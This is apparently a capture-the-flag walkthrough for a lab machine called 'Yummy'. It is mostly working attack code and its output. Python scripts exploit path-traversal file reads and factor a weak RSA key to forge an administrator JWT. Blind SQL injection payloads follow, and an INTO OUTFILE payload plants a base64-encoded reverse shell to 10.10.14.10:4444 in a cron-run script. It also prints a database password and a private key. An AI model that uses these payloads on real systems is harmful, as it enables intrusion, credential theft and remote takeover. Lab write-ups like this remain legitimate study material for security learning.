Yummy
Recon
HTTP (80)

Dashboard
We are able to login/register
Creds:
test02@yummy.htb:Password123$

Booking
We are able to reserve the tables, this adds record in the dashboard.


Reminders
└─$ cat ~/Downloads/Yummy_reservation_20241005_190631.ics
BEGIN:VCALENDAR
VERSION:2.0
PRODID:ics.py - http://git.io/lLljaA
BEGIN:VEVENT
DESCRIPTION:Email: test02@yummy.htb\nNumber of People: 1\nMessage: Yummy!
DTSTART:20241005T000000Z
SUMMARY:Test02
UID:34777079-1a1b-43b3-a8ca-59766abe6b28@3477.org
END:VEVENT
END:VCALENDAR
Fuzzing for reminders shows nothing more then ours.
└─$ ffuf -H 'Cookie: X-AUTH-Token=eyJhbGciOiJSU...KEq2Co' -u 'http://yummy.htb/reminder/FUZZ' -w reminders -r -mc all
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://yummy.htb/reminder/FUZZ
:: Wordlist : FUZZ: /home/woyag/Desktop/Rooms/Yummy/reminders
:: Header : Cookie: X-AUTH-Token=eyJhbGciOiJSU...KEq2Co
:: Follow redirects : true
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: all
________________________________________________
14 [Status: 200, Size: 6578, Words: 1352, Lines: 193, Duration: 84ms]
9 [Status: 200, Size: 6578, Words: 1352, Lines: 193, Duration: 88ms]
20 [Status: 200, Size: 6578, Words: 1352, Lines: 193, Duration: 94ms]
1 [Status: 200, Size: 6578, Words: 1352, Lines: 193, Duration: 97ms]
18 [Status: 200, Size: 6578, Words: 1352, Lines: 193, Duration: 111ms]
10 [Status: 200, Size: 6578, Words: 1352, Lines: 193, Duration: 109ms]
12 [Status: 200, Size: 6578, Words: 1352, Lines: 193, Duration: 105ms]
13 [Status: 200, Size: 6578, Words: 1352, Lines: 193, Duration: 111ms]
15 [Status: 200, Size: 6578, Words: 1352, Lines: 193, Duration: 115ms]
6 [Status: 200, Size: 6578, Words: 1352, Lines: 193, Duration: 117ms]
4 [Status: 200, Size: 6578, Words: 1352, Lines: 193, Duration: 104ms]
3 [Status: 200, Size: 6578, Words: 1352, Lines: 193, Duration: 106ms]
7 [Status: 200, Size: 6578, Words: 1352, Lines: 193, Duration: 113ms]
21 [Status: 200, Size: 275, Words: 8, Lines: 10, Duration: 116ms]
17 [Status: 200, Size: 6578, Words: 1352, Lines: 193, Duration: 107ms]
5 [Status: 200, Size: 6578, Words: 1352, Lines: 193, Duration: 104ms]
11 [Status: 200, Size: 6578, Words: 1352, Lines: 193, Duration: 116ms]
8 [Status: 200, Size: 6578, Words: 1352, Lines: 193, Duration: 109ms]
19 [Status: 200, Size: 6578, Words: 1352, Lines: 193, Duration: 106ms]
2 [Status: 200, Size: 6578, Words: 1352, Lines: 193, Duration: 102ms]
16 [Status: 200, Size: 6578, Words: 1352, Lines: 193, Duration: 100ms]
:: Progress: [21/21] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0 ::
I thought there was injection in reminder via path, but everything is discarded after first number...
http://yummy.htb/reminder/21 AND 1=1 -- -
http://yummy.htb/reminder/21 AND 1=2 -- -
Checking for technologies:

Source code shows template name and version:
<!-- =======================================================
* Template Name: Restaurantly - v3.1.0
* Template URL: https://bootstrapmade.com/restaurantly-restaurant-template/
* Author: BootstrapMade.com
* License: https://bootstrapmade.com/license/
======================================================== -->
Successful booking returns session
cookie, in flask format? Server language is definitely Golang, so why Python?

└─$ flask-unsign -c '.eJwti0EKwjAQRa_ynbV4AM_hRqTIGCZNqZmpmQQppXc3BVcf3nt_o2d8sydxuj42Qu1D3kIQdzrT3VrBy2yedESRTxOv-LLDResFXSOwIrPyKFiPmpfFJq25B4it1CQFsVj-2xCsHddbYp0PdqJhH_Yf5AUw_w.ZwGW0g.39gWXCFO0oZMaIWq6yDXg4_Pz2I' -d
{'_flashes': [('success', 'Your booking request was sent. You can manage your appointment further from your account. Thank you!')]}
Export
The reminder redirects to /export/{FILENAME}.ics
, this seems like LFI:

LFI
LFI is possible if you're authorized, reminder endpoint is triggered and then export
is modified
import socket
import requests
import readline
class Routes:
DOMAIN = 'yummy.htb'
BASE = 'http://' + DOMAIN
LOGIN = BASE + '/login'
REGISTER = BASE + '/register'
BOOK = BASE + '/book'
REMINDER = BASE + '/reminder'
EXPORT = BASE + '/export'
AUTH = {'email': 'test02@yummy.htb', 'password': 'letmein'}
COOKIE_NAME = 'X-AUTH-Token'
with requests.Session() as session:
session.proxies = {'http': 'http://127.0.0.1:8080'}
session.post(Routes.REGISTER, json=AUTH)
session.post(Routes.LOGIN, json=AUTH)
data = {'name': 'letmein', 'email': AUTH['email'], 'phone': '1111111111', 'date': '2024-10-05', 'time': '16:15', 'people': '1', 'message': '12312'}
session.post(Routes.BOOK, data=data)
session.get(f'{Routes.REMINDER}/21', allow_redirects=False) # Reminder number is hardcoded...
cookie = session.cookies[COOKIE_NAME]
# file = '/etc/passwd'
file = input("File: ")
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as io:
io.connect((Routes.DOMAIN, 80))
request = f"GET {Routes.EXPORT}/../../../../../..{file} HTTP/1.1\r\n"
request += f"Host: {Routes.DOMAIN}\r\n"
request += f"Cookie: {COOKIE_NAME}={cookie}\r\n"
request += "Connection: close\r\n\r\n"
io.send(request.encode())
response = b""
while True:
data = io.recv(4096)
if not data: break
response += data
print(response.decode())
└─$ py lfi.py
File: /etc/caddy/Caddyfile
HTTP/1.1 200 OK
Cache-Control: no-cache
Content-Disposition: attachment; filename=Caddyfile
Content-Length: 178
Content-Type: application/octet-stream
Date: Sat, 05 Oct 2024 20:49:44 GMT
Etag: "1715978794.806761-178-3015512135"
Last-Modified: Fri, 17 May 2024 20:46:34 GMT
Server: Caddy
Connection: close
:80 {
@ip {
header_regexp Host ^(\d{1,3}\.){3}\d{1,3}$
}
redir @ip http://yummy.htb{uri}
reverse_proxy 127.0.0.1:3000 {
header_down -Server
}
}
LFI Fuzzing
Start fuzzing for files, lmao
import socket
import requests
import readline
class Routes:
DOMAIN = 'yummy.htb'
BASE = 'http://' + DOMAIN
LOGIN = BASE + '/login'
REGISTER = BASE + '/register'
BOOK = BASE + '/book'
REMINDER = BASE + '/reminder'
EXPORT = BASE + '/export'
AUTH = {'email': 'test02@yummy.htb', 'password': 'letmein'}
COOKIE_NAME = 'X-AUTH-Token'
with requests.Session() as session:
session.proxies = {'http': 'http://127.0.0.1:8080'}
session.post(Routes.REGISTER, json=AUTH)
session.post(Routes.LOGIN, json=AUTH)
data = {'name': 'letmein', 'email': AUTH['email'], 'phone': '1111111111', 'date': '2024-10-05', 'time': '16:15', 'people': '1', 'message': '12312'}
session.post(Routes.BOOK, data=data)
cookie = session.cookies[COOKIE_NAME]
with open('/usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt') as f:
for line in f:
print(line.strip())
session.get(f'{Routes.REMINDER}/22', allow_redirects=False)
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as io:
io.connect((Routes.DOMAIN, 80))
request = f"GET {Routes.EXPORT}/../../../../../..{line.strip()} HTTP/1.1\r\n"
request += f"Host: {Routes.DOMAIN}\r\n"
request += f"Cookie: {COOKIE_NAME}={cookie}\r\n"
request += "Connection: close\r\n\r\n"
io.send(request.encode())
response = b""
while True:
data = io.recv(4096)
if not data: break
response += data
print(response.decode())
Note: Consider The Path for Testing Path Traversal Vulnerabilities with Python methods, instead of raw sockets.
Cronjobs
/etc/crontab
...
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.daily; }
47 6 * * 7 root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly; }
52 6 1 * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly; }
#
*/1 * * * * www-data /bin/bash /data/scripts/app_backup.sh
*/15 * * * * mysql /bin/bash /data/scripts/table_cleanup.sh
* * * * * mysql /bin/bash /data/scripts/dbmonitor.sh
/data/scripts/dbmonitor.sh
#!/bin/bash
timestamp=$(/usr/bin/date)
service=mysql
response=$(/usr/bin/systemctl is-active mysql)
if [ "$response" != 'active' ]; then
/usr/bin/echo "{\"status\": \"The database is down\", \"time\": \"$timestamp\"}" > /data/scripts/dbstatus.json
/usr/bin/echo "$service is down, restarting!!!" | /usr/bin/mail -s "$service is down!!!" root
latest_version=$(/usr/bin/ls -1 /data/scripts/fixer-v* 2>/dev/null | /usr/bin/sort -V | /usr/bin/tail -n 1)
/bin/bash "$latest_version"
else
if [ -f /data/scripts/dbstatus.json ]; then
if grep -q "database is down" /data/scripts/dbstatus.json 2>/dev/null; then
/usr/bin/echo "The database was down at $timestamp. Sending notification."
/usr/bin/echo "$service was down at $timestamp but came back up." | /usr/bin/mail -s "$service was down!" root
/usr/bin/rm -f /data/scripts/dbstatus.json
else
/usr/bin/rm -f /data/scripts/dbstatus.json
/usr/bin/echo "The automation failed in some way, attempting to fix it."
latest_version=$(/usr/bin/ls -1 /data/scripts/fixer-v* 2>/dev/null | /usr/bin/sort -V | /usr/bin/tail -n 1)
/bin/bash "$latest_version"
fi
else
/usr/bin/echo "Response is OK."
fi
fi
[ -f dbstatus.json ] && /usr/bin/rm -f dbstatus.json
/data/scripts/table_cleanup.sh
#!/bin/sh
/usr/bin/mysql -h localhost -u chef yummy_db -p'3wDo7gSRZIwIHRxZ!' < /data/scripts/sqlappointments.sql
/data/scripts/app_backup.sh
#!/bin/bash
cd /var/www
/usr/bin/rm backupapp.zip
/usr/bin/zip -r backupapp.zip /opt/app
file = '/opt/app/app.py'
from flask import Flask, request, send_file, render_template, redirect, url_for, flash, jsonify, make_response
import tempfile
import os
import shutil
from datetime import datetime, timedelta, timezone
from urllib.parse import quote
from ics import Calendar, Event
from middleware.verification import verify_token
from config import signature
import pymysql.cursors
from pymysql.constants import CLIENT
import jwt
import secrets
import hashlib
app = Flask(__name__, static_url_path='/static')
temp_dir = ''
app.secret_key = secrets.token_hex(32)
db_config = {
'host': '127.0.0.1',
'user': 'chef',
'password': '3wDo7gSRZIwIHRxZ!',
'database': 'yummy_db',
'cursorclass': pymysql.cursors.DictCursor,
'client_flag': CLIENT.MULTI_STATEMENTS
}
access_token = ''
@app.route('/login', methods=['GET','POST'])
def login():
global access_token
if request.method == 'GET':
return render_template('login.html', message=None)
elif request.method == 'POST':
email = request.json.get('email')
password = request.json.get('password')
password2 = hashlib.sha256(password.encode()).hexdigest()
if not email or not password:
return jsonify(message="email or password is missing"), 400
connection = pymysql.connect(**db_config)
try:
with connection.cursor() as cursor:
sql = "SELECT * FROM users WHERE email=%s AND password=%s"
cursor.execute(sql, (email, password2))
user = cursor.fetchone()
if user:
payload = {
'email': email,
'role': user['role_id'],
'iat': datetime.now(timezone.utc),
'exp': datetime.now(timezone.utc) + timedelta(seconds=3600),
'jwk':{'kty': 'RSA',"n":str(signature.n),"e":signature.e}
}
access_token = jwt.encode(payload, signature.key.export_key(), algorithm='RS256')
response = make_response(jsonify(access_token=access_token), 200)
response.set_cookie('X-AUTH-Token', access_token)
return response
else:
return jsonify(message="Invalid email or password"), 401
finally:
connection.close()
@app.route('/logout', methods=['GET'])
def logout():
response = make_response(redirect('/login'))
response.set_cookie('X-AUTH-Token', '')
return response
@app.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'GET':
return render_template('register.html', message=None)
elif request.method == 'POST':
role_id = 'customer_' + secrets.token_hex(4)
email = request.json.get('email')
password = hashlib.sha256(request.json.get('password').encode()).hexdigest()
if not email or not password:
return jsonify(error="email or password is missing"), 400
connection = pymysql.connect(**db_config)
try:
with connection.cursor() as cursor:
sql = "SELECT * FROM users WHERE email=%s"
cursor.execute(sql, (email,))
existing_user = cursor.fetchone()
if existing_user:
return jsonify(error="Email already exists"), 400
else:
sql = "INSERT INTO users (email, password, role_id) VALUES (%s, %s, %s)"
cursor.execute(sql, (email, password, role_id))
connection.commit()
return jsonify(message="User registered successfully"), 201
finally:
connection.close()
@app.route('/', methods=['GET', 'POST'])
def index():
return render_template('index.html')
@app.route('/book', methods=['GET', 'POST'])
def export():
if request.method == 'POST':
try:
name = request.form['name']
date = request.form['date']
time = request.form['time']
email = request.form['email']
num_people = request.form['people']
message = request.form['message']
connection = pymysql.connect(**db_config)
try:
with connection.cursor() as cursor:
sql = "INSERT INTO appointments (appointment_name, appointment_email, appointment_date, appointment_time, appointment_people, appointment_message, role_id) VALUES (%s, %s, %s, %s, %s, %s, %s)"
cursor.execute(sql, (name, email, date, time, num_people, message, 'customer'))
connection.commit()
flash('Your booking request was sent. You can manage your appointment further from your account. Thank you!', 'success')
except Exception as e:
print(e)
return redirect('/#book-a-table')
except ValueError:
flash('Error processing your request. Please try again.', 'error')
return render_template('index.html')
def generate_ics_file(name, date, time, email, num_people, message):
global temp_dir
temp_dir = tempfile.mkdtemp()
current_date_time = datetime.now()
formatted_date_time = current_date_time.strftime("%Y%m%d_%H%M%S")
cal = Calendar()
event = Event()
event.name = name
event.begin = datetime.strptime(date, "%Y-%m-%d")
event.description = f"Email: {email}\nNumber of People: {num_people}\nMessage: {message}"
cal.events.add(event)
temp_file_path = os.path.join(temp_dir, quote('Yummy_reservation_' + formatted_date_time + '.ics'))
with open(temp_file_path, 'w') as fp:
fp.write(cal.serialize())
return os.path.basename(temp_file_path)
@app.route('/export/<path:filename>')
def export_file(filename):
validation = validate_login()
if validation is None:
return redirect(url_for('login'))
filepath = os.path.join(temp_dir, filename)
if os.path.exists(filepath):
content = send_file(filepath, as_attachment=True)
shutil.rmtree(temp_dir)
return content
else:
shutil.rmtree(temp_dir)
return "File not found", 404
def validate_login():
try:
(email, current_role), status_code = verify_token()
if email and status_code == 200 and current_role == "administrator":
return current_role
elif email and status_code == 200:
return email
else:
raise Exception("Invalid token")
except Exception as e:
return None
@app.route('/dashboard', methods=['GET', 'POST'])
def dashboard():
validation = validate_login()
if validation is None:
return redirect(url_for('login'))
elif validation == "administrator":
return redirect(url_for('admindashboard'))
connection = pymysql.connect(**db_config)
try:
with connection.cursor() as cursor:
sql = "SELECT appointment_id, appointment_email, appointment_date, appointment_time, appointment_people, appointment_message FROM appointments WHERE appointment_email = %s"
cursor.execute(sql, (validation,))
connection.commit()
appointments = cursor.fetchall()
appointments_sorted = sorted(appointments, key=lambda x: x['appointment_id'])
finally:
connection.close()
return render_template('dashboard.html', appointments=appointments_sorted)
@app.route('/delete/<appointID>')
def delete_file(appointID):
validation = validate_login()
if validation is None:
return redirect(url_for('login'))
elif validation == "administrator":
connection = pymysql.connect(**db_config)
try:
with connection.cursor() as cursor:
sql = "DELETE FROM appointments where appointment_id= %s;"
cursor.execute(sql, (appointID,))
connection.commit()
sql = "SELECT * from appointments"
cursor.execute(sql)
connection.commit()
appointments = cursor.fetchall()
finally:
connection.close()
flash("Reservation deleted successfully","success")
return redirect(url_for("admindashboard"))
else:
connection = pymysql.connect(**db_config)
try:
with connection.cursor() as cursor:
sql = "DELETE FROM appointments WHERE appointment_id = %s AND appointment_email = %s;"
cursor.execute(sql, (appointID, validation))
connection.commit()
sql = "SELECT appointment_id, appointment_email, appointment_date, appointment_time, appointment_people, appointment_message FROM appointments WHERE appointment_email = %s"
cursor.execute(sql, (validation,))
connection.commit()
appointments = cursor.fetchall()
finally:
connection.close()
flash("Reservation deleted successfully","success")
return redirect(url_for("dashboard"))
flash("Something went wrong!","error")
return redirect(url_for("dashboard"))
@app.route('/reminder/<appointID>')
def reminder_file(appointID):
validation = validate_login()
if validation is None:
return redirect(url_for('login'))
connection = pymysql.connect(**db_config)
try:
with connection.cursor() as cursor:
sql = "SELECT appointment_id, appointment_name, appointment_email, appointment_date, appointment_time, appointment_people, appointment_message FROM appointments WHERE appointment_email = %s AND appointment_id = %s"
result = cursor.execute(sql, (validation, appointID))
if result != 0:
connection.commit()
appointments = cursor.fetchone()
filename = generate_ics_file(appointments['appointment_name'], appointments['appointment_date'], appointments['appointment_time'], appointments['appointment_email'], appointments['appointment_people'], appointments['appointment_message'])
connection.close()
flash("Reservation downloaded successfully","success")
return redirect(url_for('export_file', filename=filename))
else:
flash("Something went wrong!","error")
except:
flash("Something went wrong!","error")
return redirect(url_for("dashboard"))
@app.route('/admindashboard', methods=['GET', 'POST'])
def admindashboard():
validation = validate_login()
if validation != "administrator":
return redirect(url_for('login'))
try:
connection = pymysql.connect(**db_config)
with connection.cursor() as cursor:
sql = "SELECT * from appointments"
cursor.execute(sql)
connection.commit()
appointments = cursor.fetchall()
search_query = request.args.get('s', '')
# added option to order the reservations
order_query = request.args.get('o', '')
sql = f"SELECT * FROM appointments WHERE appointment_email LIKE %s order by appointment_date {order_query}"
cursor.execute(sql, ('%' + search_query + '%',))
connection.commit()
appointments = cursor.fetchall()
connection.close()
return render_template('admindashboard.html', appointments=appointments)
except Exception as e:
flash(str(e), 'error')
return render_template('admindashboard.html', appointments=appointments)
if __name__ == '__main__':
app.run(threaded=True, debug=False, host='0.0.0.0', port=3000)
Backup exists in /var/www/backupapp.zip
, and I didn't want to code saving file from socket output. Just use burp to first create Reminder, then change path and you'll download file automatically.
Forge JWT
Backup > ./config/signature.py
#!/usr/bin/python3
from Crypto.PublicKey import RSA
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
import sympy
# Generate RSA key pair
q = sympy.randprime(2**19, 2**20)
n = sympy.randprime(2**1023, 2**1024) * q
e = 65537
p = n // q
phi_n = (p - 1) * (q - 1)
d = pow(e, -1, phi_n)
key_data = {'n': n, 'e': e, 'd': d, 'p': p, 'q': q}
key = RSA.construct((key_data['n'], key_data['e'], key_data['d'], key_data['p'], key_data['q']))
private_key_bytes = key.export_key()
private_key = serialization.load_pem_private_key(
private_key_bytes,
password=None,
backend=default_backend()
)
public_key = private_key.public_key()
I had errors installing packages so I just used https://live.sympy.org
Add the following lines to get keys:
private_key_pem = private_key.private_bytes(encoding=serialization.Encoding.PEM, format=serialization.PrivateFormat.TraditionalOpenSSL, encryption_algorithm=serialization.NoEncryption())
public_key_pem = public_key.public_bytes(encoding=serialization.Encoding.PEM, format=serialization.PublicFormat.SubjectPublicKeyInfo)
print(f'{n = }')
print("Private Key:")
print(private_key_pem.decode())
print("\nPublic Key:")
print(public_key_pem.decode())
n = 102507644025377230149306591416777170686099201918371413793432064047208377880446924587192756087064088626348370040685026208091237194345628638929497852912653002470676660628880739880664606531733150375828328921677371420159959119531086492552139154289678920224913011194569236584255297461657480474182307108472322143170159129
Private Key:
-----BEGIN RSA PRIVATE KEY-----
MIICqAIBAAKBgwizabKSUFeI+cRs9wn3HKCZPP7lLTgaeMBsG+Y1AX/J89ZCQrC2
I2mG/wIFdaEi6G5gDOLgA1wHdJIithOtqeDBsVmpVs6gPS4N02avcxwlaQv3kj2B
gEHJgRvKQqvtSmy2WYdypgvxMwgsDbZ0T08uHS/1dccQU/HRGg6cQnk5RWIZAgMB
AAECgYMH1De0Vtp26N2gJt/dNkZdf2YLPAgEfKyE0KGOYlizdjQU6fGucQgEOCLQ
Aga3rRHfYteLMpSLYBeb1/0eQpsTiG8PgGGfuzY4TthJ1oB61n1Mx3eklzWMiOXG
9wWs6/nW+8Jd9waj8NQZm7/DOASdfJMGFl4ymt6hMEelBlR3/5wdKQKBgQCPZ80p
LsffuIuIhxouDY7gYFbmqOAv4/EMGydYtJ8yPWeLmZJBNuEa6zNpA63rKfjxUDU9
bf1wryLJsm7fNGAyQSvzTixfdffmHPw1Ja3MCQ5Ej5m/41m1YL/WR/Uf8cZWf8y/
niBLH2FI/OJmUEJ1OsC+6AlLEVbPiqveFhtkcwIDD4hDAoGAICRS3pUmpWU2mQ42
9vWA/Zd6Qs69GN7NKzp20jIBsIAE0kxEdKt5PtBSwInblGbe7i9dD3y0nmoSsQR2
Rz71BK6IzErMNUU6n/AFM2BTmPS6pvFMs66gb7/Un5GXRmapXr/cQ2KMuGm7I2HS
2L3Kd34Ir4FQe+vR+kiJhwiLcTMCAwxqiwKBgDcEg1BF3YawbGZR0c6T/rgyzQRY
nTx7OLVucLzPCcVjm+SljYcVHQQmE3FRuq+6w/xPzjulWV7xunQFxU9z5DrfRpz0
XaC4Jaul+0H+TAFF6auME1idUUGXUVTBd2PnuUqBp+4K3QlhNPfFVNPenDrgTiQ2
DQbp9j7m/X/Mxona
-----END RSA PRIVATE KEY-----
Public Key:
-----BEGIN PUBLIC KEY-----
MIGhMA0GCSqGSIb3DQEBAQUAA4GPADCBiwKBgwizabKSUFeI+cRs9wn3HKCZPP7l
LTgaeMBsG+Y1AX/J89ZCQrC2I2mG/wIFdaEi6G5gDOLgA1wHdJIithOtqeDBsVmp
Vs6gPS4N02avcxwlaQv3kj2BgEHJgRvKQqvtSmy2WYdypgvxMwgsDbZ0T08uHS/1
dccQU/HRGg6cQnk5RWIZAgMBAAE=
-----END PUBLIC KEY-----
Actually that's garbage, because we need proper p
and q
values to create n
, https://factordb.com/ can help.
q = 154495754898264815985426104959944566968491478406579378873557546372691265488889632272143893889639925634416523044334569299622681380457032592860124402672443436096164615921981912852584116318732357752756019481855171257644857869557893012651406869357343869153299338593046415349023734839244208319948114169154486793309
p = 1032307
n = 159487049251763057395467266132885496093542532599460738866825570023353802203039189621960046669532522711887617654327886229985591347815457944837656441749582066186123406168573382511112551364641644034674308203255466275465590292749699862211135871085671577534034980324971965889704644640695670958140677893617360798140433863
e = 65537
jwt_tool
kept giving errors about invalid certificates... Generate manually:
import jwt
from Crypto.PublicKey import RSA
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
token = "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6InRlc3QwMkB5dW1teS5odGIiLCJyb2xlIjoiY3VzdG9tZXJfZDczMTE0NDYiLCJpYXQiOjE3MjgxNjg0NTYsImV4cCI6MTcyODE3MjA1NiwiandrIjp7Imt0eSI6IlJTQSIsIm4iOiIxNTk0ODcwNDkyNTE3NjMwNTczOTU0NjcyNjYxMzI4ODU0OTYwOTM1NDI1MzI1OTk0NjA3Mzg4NjY4MjU1NzAwMjMzNTM4MDIyMDMwMzkxODk2MjE5NjAwNDY2Njk1MzI1MjI3MTE4ODc2MTc2NTQzMjc4ODYyMjk5ODU1OTEzNDc4MTU0NTc5NDQ4Mzc2NTY0NDE3NDk1ODIwNjYxODYxMjM0MDYxNjg1NzMzODI1MTExMTI1NTEzNjQ2NDE2NDQwMzQ2NzQzMDgyMDMyNTU0NjYyNzU0NjU1OTAyOTI3NDk2OTk4NjIyMTExMzU4NzEwODU2NzE1Nzc1MzQwMzQ5ODAzMjQ5NzE5NjU4ODk3MDQ2NDQ2NDA2OTU2NzA5NTgxNDA2Nzc4OTM2MTczNjA3OTgxNDA0MzM4NjMiLCJlIjo2NTUzN319.C5FesrgLfo18Djy5WXs9I2HTgXQEndbEpNXYvv8rHLKpo2rccXSRIilm8Gmy6O3hpmJoQHk6AptkhZr_cVxO05LlZ4VAyvV_Cs8ZBnQywZ3O-mMGHD382NrhoYhoof177XbHpqsEGH4dfjUDBPN6S0p7wtFhjDKOWOFYwxzGTRFB9kQ"
q = 1032307
n = 159487049251763057395467266132885496093542532599460738866825570023353802203039189621960046669532522711887617654327886229985591347815457944837656441749582066186123406168573382511112551364641644034674308203255466275465590292749699862211135871085671577534034980324971965889704644640695670958140677893617360798140433863
e = 65537
p = 154495754898264815985426104959944566968491478406579378873557546372691265488889632272143893889639925634416523044334569299622681380457032592860124402672443436096164615921981912852584116318732357752756019481855171257644857869557893012651406869357343869153299338593046415349023734839244208319948114169154486793309
phi_n = (p - 1) * (q - 1)
d = pow(e, -1, phi_n)
key_data = {'n': n, 'e': e, 'd': d, 'p': p, 'q': q}
key = RSA.construct((key_data['n'], key_data['e'], key_data['d'], key_data['p'], key_data['q']))
private_key_bytes = key.export_key()
private_key = serialization.load_pem_private_key(private_key_bytes, password=None, backend=default_backend())
public_key = private_key.public_key()
data = jwt.decode(token, public_key, algorithms=["RS256"])
data["role"] = "administrator"
admin_token = jwt.encode(data, private_key, algorithm="RS256")
print(admin_token)
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6InRlc3QwMkB5dW1teS5odGIiLCJyb2xlIjoiYWRtaW5pc3RyYXRvciIsImlhdCI6MTcyODE2ODQ1NiwiZXhwIjoxNzI4MTcyMDU2LCJqd2siOnsia3R5IjoiUlNBIiwibiI6IjE1OTQ4NzA0OTI1MTc2MzA1NzM5NTQ2NzI2NjEzMjg4NTQ5NjA5MzU0MjUzMjU5OTQ2MDczODg2NjgyNTU3MDAyMzM1MzgwMjIwMzAzOTE4OTYyMTk2MDA0NjY2OTUzMjUyMjcxMTg4NzYxNzY1NDMyNzg4NjIyOTk4NTU5MTM0NzgxNTQ1Nzk0NDgzNzY1NjQ0MTc0OTU4MjA2NjE4NjEyMzQwNjE2ODU3MzM4MjUxMTExMjU1MTM2NDY0MTY0NDAzNDY3NDMwODIwMzI1NTQ2NjI3NTQ2NTU5MDI5Mjc0OTY5OTg2MjIxMTEzNTg3MTA4NTY3MTU3NzUzNDAzNDk4MDMyNDk3MTk2NTg4OTcwNDY0NDY0MDY5NTY3MDk1ODE0MDY3Nzg5MzYxNzM2MDc5ODE0MDQzMzg2MyIsImUiOjY1NTM3fX0.COO5nNCiOdu-gtDB6P99QZtTe6Xg8eX-ohL9WCaDwg7Y2vtZwXlj5xjcaC_o1WfdscDVFkkp_VZa36tJV7buxyKCVeWZqgwLg2t3IzQbVJVNBVNK10vpSWC9hS4c8SL9DZFPmkG5CdXArMofRCz6YfJo3iAfUyUP7ApN5h9DBP3GFhs
Replace your cookie, visit /dashboard
, get redirected to /admindashboard
.

SQLi
Endpoint is vulnerable to SQLi:
@app.route('/admindashboard', methods=['GET', 'POST'])
def admindashboard():
validation = validate_login()
if validation != "administrator":
return redirect(url_for('login'))
try:
connection = pymysql.connect(**db_config)
with connection.cursor() as cursor:
sql = "SELECT * from appointments"
cursor.execute(sql)
connection.commit()
appointments = cursor.fetchall()
search_query = request.args.get('s', '')
# added option to order the reservations
order_query = request.args.get('o', '')
sql = f"SELECT * FROM appointments WHERE appointment_email LIKE %s order by appointment_date {order_query}"
cursor.execute(sql, ('%' + search_query + '%',))
connection.commit()
appointments = cursor.fetchall()
connection.close()
return render_template('admindashboard.html', appointments=appointments)
except Exception as e:
flash(str(e), 'error')
return render_template('admindashboard.html', appointments=appointments)
users
table only has us, registered users. No admin account at least in this database users table.
RCE via cronjob via OUTFILE
From 2nd injection I learned that user has file
permissions, so access to OUTFILE
is granted. If we take closer look at cronjobs previously there are exploitable, add scripts and last one will get executed.
from time import sleep
import requests
import string
URL = 'http://yummy.htb/admindashboard'
CHARSET = string.printable
# PAYLOAD = ';SELECT IF((SUBSTR(GROUP_CONCAT(email,":",password,";"),{},1)="{}"), SLEEP(3), false) FROM users #'
# PAYLOAD = ';SELECT IF((SUBSTR(GROUP_CONCAT(GRANTEE,":",PRIVILEGE_TYPE,";"),{},1)="{}"), SLEEP(3), false) FROM information_schema.USER_PRIVILEGES WHERE GRANTEE = "\'chef\'@\'localhost\'" #'
# PAYLOAD = ';SELECT IF((SUBSTR(GROUP_CONCAT(user,":",password,";"),{},1)="{}"), SLEEP(3), false) FROM mysql.user #'
# PAYLOAD = ';SELECT IF((SUBSTR(GROUP_CONCAT(schema_name),{},1)="{}"), SLEEP(3), false) FROM information_schema.schemata #'
PAYLOAD = '''
;SELECT "echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjEwLzQ0NDQgMD4mMQ==|base64 -d|bash" INTO OUTFILE '{}'; #
'''.strip()
COOKIES = {
'X-AUTH-Token': 'eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6InRlc3QwMkB5dW1teS5odGIiLCJyb2xlIjoiYWRtaW5pc3RyYXRvciIsImlhdCI6MTcyODE3NTk0NCwiZXhwIjoxNzI4MTc5NTQ0LCJqd2siOnsia3R5IjoiUlNBIiwibiI6IjE1OTQ4NzA0OTI1MTc2MzA1NzM5NTQ2NzI2NjEzMjg4NTQ5NjA5MzU0MjUzMjU5OTQ2MDczODg2NjgyNTU3MDAyMzM1MzgwMjIwMzAzOTE4OTYyMTk2MDA0NjY2OTUzMjUyMjcxMTg4NzYxNzY1NDMyNzg4NjIyOTk4NTU5MTM0NzgxNTQ1Nzk0NDgzNzY1NjQ0MTc0OTU4MjA2NjE4NjEyMzQwNjE2ODU3MzM4MjUxMTExMjU1MTM2NDY0MTY0NDAzNDY3NDMwODIwMzI1NTQ2NjI3NTQ2NTU5MDI5Mjc0OTY5OTg2MjIxMTEzNTg3MTA4NTY3MTU3NzUzNDAzNDk4MDMyNDk3MTk2NTg4OTcwNDY0NDY0MDY5NTY3MDk1ODE0MDY3Nzg5MzYxNzM2MDc5ODE0MDQzMzg2MyIsImUiOjY1NTM3fX0.BbBbxdjqnWf4tuvYKmsDOQICpCZ_H-1NCuiM2VIzk7RruKTqwc4vyQSSNwlXYDNWaYnhD6WUIHHWk2DFxgrg6E5zSrQoFuwDR9WSuPcxBwINkz8fc1YnfaQ-j7q0jsRYZ1Eklav8yEfmzIfCBP7ZKvwNWhI2DUese9uXXQp97jdKUDA'
}
# known = ''
# while True:
# known_len = len(known) + 1
# for c in CHARSET:
# print(f'[{known_len}] {known} | {c}')
# payload = PAYLOAD.format(known_len, c)
# resp = requests.get(URL, params={'s': '', 'o': payload}, cookies=COOKIES, proxies={'http': 'http://127.0.0.1:8080'})
# if resp.elapsed.total_seconds() >= 3:
# known += c
# break
# else:
# break
for i in range(130, 132): # Make sure high number doesn't exist
payload = PAYLOAD.format(f'/data/scripts/fixer-v{i}')
